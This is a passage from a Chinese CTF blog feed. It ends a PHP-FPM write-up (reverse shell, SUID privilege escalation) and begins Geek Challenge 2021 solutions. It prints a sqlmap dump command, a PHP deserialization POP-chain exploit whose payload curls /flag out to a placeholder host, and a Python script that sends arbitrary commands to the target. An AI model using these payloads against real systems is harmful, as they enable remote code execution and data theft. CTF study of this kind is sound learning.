  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>跟之前一样的编译，把老的so覆盖吧，这样也不用改payload，vps运行恶意ftp程序，再开一个终端开启监听，再执行一遍刚才的payload<img
  src="/7662b2/one_pointer_php_10.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1818" height="718"
/>
</p>
<p>成功反弹shell，因为没有权限的原因，所以我们仍然无法读取flag，这里我们需要提权，最常见的就是suid提权，使用<code>find / -perm -u=s -type f 2&gt;/dev/null</code>查看具有suid权限的文件，这个要等一会才能出来。</p>
<p><img
  src="/7662b2/one_pointer_php_11.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="665" height="235"
/>
</p>
<p>php就有权限，那么可以直接<code>php -a</code>进入交互模式，直接读取flag文件，注意不要直接读取flag，还是要绕过openbase_dir的，你可以上传一个php文件，直接运行，也可以在交互模式下绕过并读取，建议使用文件，方便点，我这里使用的交互模式</p>
<p><img
  src="/7662b2/one_pointer_php_12.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="759" height="515"
/>
</p>
<p>出了，红线上面是输错了，XShell删除都不行，好像是编码原因。</p>
<p>这题质量是真高，复现也学了很多东西，现在把陇原那个看看，把FastCGI 协议和PHP-FPM 攻击方法再搞搞，Pwn也要看了，然后刷题。最近还有安洵杯，暗泉杯，西湖论剑太难了没进线下，这俩不知道后面打得怎么样，加入了一个CTF队伍，船山院士！！！第一次加入正规CTF队伍，希望多学点技术，不拖累队友。</p>
]]></content:encoded><category>中间件</category><category>PHP</category><category>WEB</category></item><item><title>极客大挑战 2021</title><link>https://h4cker.zip/4fd634/</link><pubDate>Sat, 13 Nov 2021 00:50:59 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/4fd634/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>题量很大，收获挺多，持续时间也长，据说结束之后会再持续一段时间，然后题目会开源。</p>
<h3 id="web">WEB<a class="anchor" href="#web">#</a></h3>
<h4 id="dark">Dark<a class="anchor" href="#dark">#</a></h4>
<p>暗网签到，难以置信</p>
<p><img
  src="/4fd634/2021_geek_challenge_web_dark_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="655" height="523"
/>
</p>
<h4 id="welcome2021">Welcome2021<a class="anchor" href="#welcome2021">#</a></h4>
<p>改个请求方法会提示你文件，再进去就好了</p>
<p><img
  src="/4fd634/2021_geek_challenge_web_welcome_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1188" height="312"
/>
</p>
<h4 id="babysql">babysql<a class="anchor" href="#babysql">#</a></h4>
<p>直接把请求包扔sqlmap里，跑就完事了</p>
<p><code>sqlmap -r sql.txt -D flag -T fllag -C fllllllag --dump</code></p>
<p><img
  src="/4fd634/2021_geek_challenge_web_babysql_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="855" height="548"
/>
</p>
<h4 id="babypop">babyPOP<a class="anchor" href="#babypop">#</a></h4>
<p>题目：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="k">class</span> <span class="nc">a</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">    <span class="k">public</span> <span class="k">static</span> <span class="nv">$Do_u_like_JiaRan</span> <span class="o">=</span> <span class="k">false</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">    <span class="k">public</span> <span class="k">static</span> <span class="nv">$Do_u_like_AFKL</span> <span class="o">=</span> <span class="k">false</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="k">class</span> <span class="nc">b</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="k">private</span> <span class="nv">$i_want_2_listen_2_MaoZhongDu</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="fm">__toString</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nx">a</span><span class="o">::</span><span class="nv">$Do_u_like_AFKL</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">            <span class="k">return</span> <span class="nx">exec</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">i_want_2_listen_2_MaoZhongDu</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">            <span class="k">throw</span> <span class="k">new</span> <span class="nx">Error</span><span class="p">(</span><span class="s2">&#34;Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="k">class</span> <span class="nc">c</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="fm">__wakeup</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">        <span class="nx">a</span><span class="o">::</span><span class="nv">$Do_u_like_JiaRan</span> <span class="o">=</span> <span class="k">true</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">
</span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="k">class</span> <span class="nc">d</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="fm">__invoke</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">        <span class="nx">a</span><span class="o">::</span><span class="nv">$Do_u_like_AFKL</span> <span class="o">=</span> <span class="k">true</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">        <span class="k">return</span> <span class="s2">&#34;关注嘉然,&#34;</span> <span class="o">.</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">value</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">
</span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="k">class</span> <span class="nc">e</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="fm">__destruct</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nx">a</span><span class="o">::</span><span class="nv">$Do_u_like_JiaRan</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">            <span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">afkl</span><span class="p">)();</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">            <span class="k">throw</span> <span class="k">new</span> <span class="nx">Error</span><span class="p">(</span><span class="s2">&#34;Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">42</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl">
</span></span><span class="line"><span class="ln">45</span><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;data&#39;</span><span class="p">]))</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl">    <span class="nx">unserialize</span><span class="p">(</span><span class="nx">base64_decode</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;data&#39;</span><span class="p">]));</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl"><span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">    <span class="nx">highlight_file</span><span class="p">(</span><span class="no">__FILE__</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">49</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>很简单的pop链，链子很好构造，我最初的想法是：</p>
<p>调用exec，就要<code>a::$Do_u_like_AFKL=true</code>，全局中只有利用d类的invoke才行，调用toString需要把对象当作字符串用，刚好也在invoke里，如何调用invoke？e类的destruct就可以了，我之前是如何调用destruct的呢？我通常把这个类对象复制一份，再把原先那个unset，序列化原对象的副本就好了，但这个方法一般只适用于destruct为链子第一段，但这题不一样，需要满足里面的if语句，欲使<code>a::$Do_u_like_JiaRan=true</code>就要经过c类的wakeup，这里我刚开始就不会了。c怎么和e连起来？</p>
<p>这是最早的坎，还是那句话，太菜了</p>
<p>后来彻查destruct用法，又了解了显式销毁与隐式销毁后才明白destruct不只直接销毁调用。这里挂一下destruct与显隐销毁定义：</p>
<blockquote>
<p>__destruct（析构函数）当某个对象成为垃圾或者当对象被显式销毁时执行</p>
<p>显式销毁，当对象没有被引用时就会被销毁,所以我们可以unset或为其赋值NULL
隐式销毁，PHP是脚本语言,在代码执行完最后一行时,所有申请的内存都要释放掉</p>
</blockquote>
<p>所以当我们定义一个不存在的变量，再把这个变量创建为目标类的实例就好，因为这个对象本来就不存在，所以满足没有任何引用即满足destruct调用条件。</p>
<p>链子可以连起来了，那就没什么思路问题了，注意b里的私有属性，在b里改就行。</p>
<p>exp：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="k">class</span> <span class="nc">b</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">    <span class="k">private</span> <span class="nv">$i_want_2_listen_2_MaoZhongDu</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="fm">__construct</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">i_want_2_listen_2_MaoZhongDu</span><span class="o">=</span><span class="s2">&#34;curl http://xxx.xxx.xxx.xxx:xxxx/`base64 /flag`&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="k">class</span> <span class="nc">c</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">    <span class="k">public</span> <span class="nv">$cv</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="fm">__construct</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">cv</span><span class="o">=</span><span class="k">new</span> <span class="nx">e</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="k">class</span> <span class="nc">d</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">    <span class="k">public</span> <span class="nv">$value</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="fm">__construct</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">value</span><span class="o">=</span><span class="k">new</span> <span class="nx">b</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">
</span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="k">class</span> <span class="nc">e</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">    <span class="k">public</span> <span class="nv">$afkl</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="fm">__construct</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">afkl</span><span class="o">=</span><span class="k">new</span> <span class="nx">d</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">
</span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="nv">$a</span><span class="o">=</span><span class="k">new</span> <span class="nx">c</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="k">echo</span><span class="p">(</span><span class="nx">base64_encode</span><span class="p">(</span><span class="nx">serialize</span><span class="p">(</span><span class="nv">$a</span><span class="p">)));</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>这里还涉及一个无回显获取flag。当我们在exec里外带时发现有字符长度限制，使用base64带出，发现全是小写无法解密。这里写个脚本用于执行payload：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="kn">import</span> <span class="nn">base64</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="k">while</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="n">com</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="nb">input</span><span class="p">(</span><span class="s1">&#39;&gt;&gt;&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">    <span class="n">a</span> <span class="o">=</span> <span class="s1">&#39;O:1:&#34;c&#34;:1:{s:2:&#34;cv&#34;;O:1:&#34;e&#34;:1:{s:4:&#34;afkl&#34;;O:1:&#34;d&#34;:1:{s:5:&#34;value&#34;;O:1:&#34;b&#34;:1:{&#39;</span> \
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">        <span class="s1">&#39;s:31:&#34;</span><span class="se">\x00</span><span class="s1">b</span><span class="se">\x00</span><span class="s1">i_want_2_listen_2_MaoZhongDu&#34;;s:</span><span class="si">%s</span><span class="s1">:&#34;</span><span class="si">%s</span><span class="s1">&#34;;}}}}&#39;</span> <span class="o">%</span> <span class="p">(</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">            <span class="nb">len</span><span class="p">(</span><span class="n">com</span><span class="p">),</span> <span class="n">com</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="n">data</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">a</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">    <span class="n">b</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;http://1.14.102.22:8114/?data=</span><span class="si">%s</span><span class="s1">&#39;</span> <span class="o">%</span> <span class="n">data</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">b</span><span class="o">.</span><span class="n">text</span><span class="p">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><img
  src="/4fd634/2021_geek_challenge_web_babypop_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1340" height="206"
/>
</p>
<p>在DNSlog里外带，但是我这里不知道是不是因为linux的原因，No Data</p>
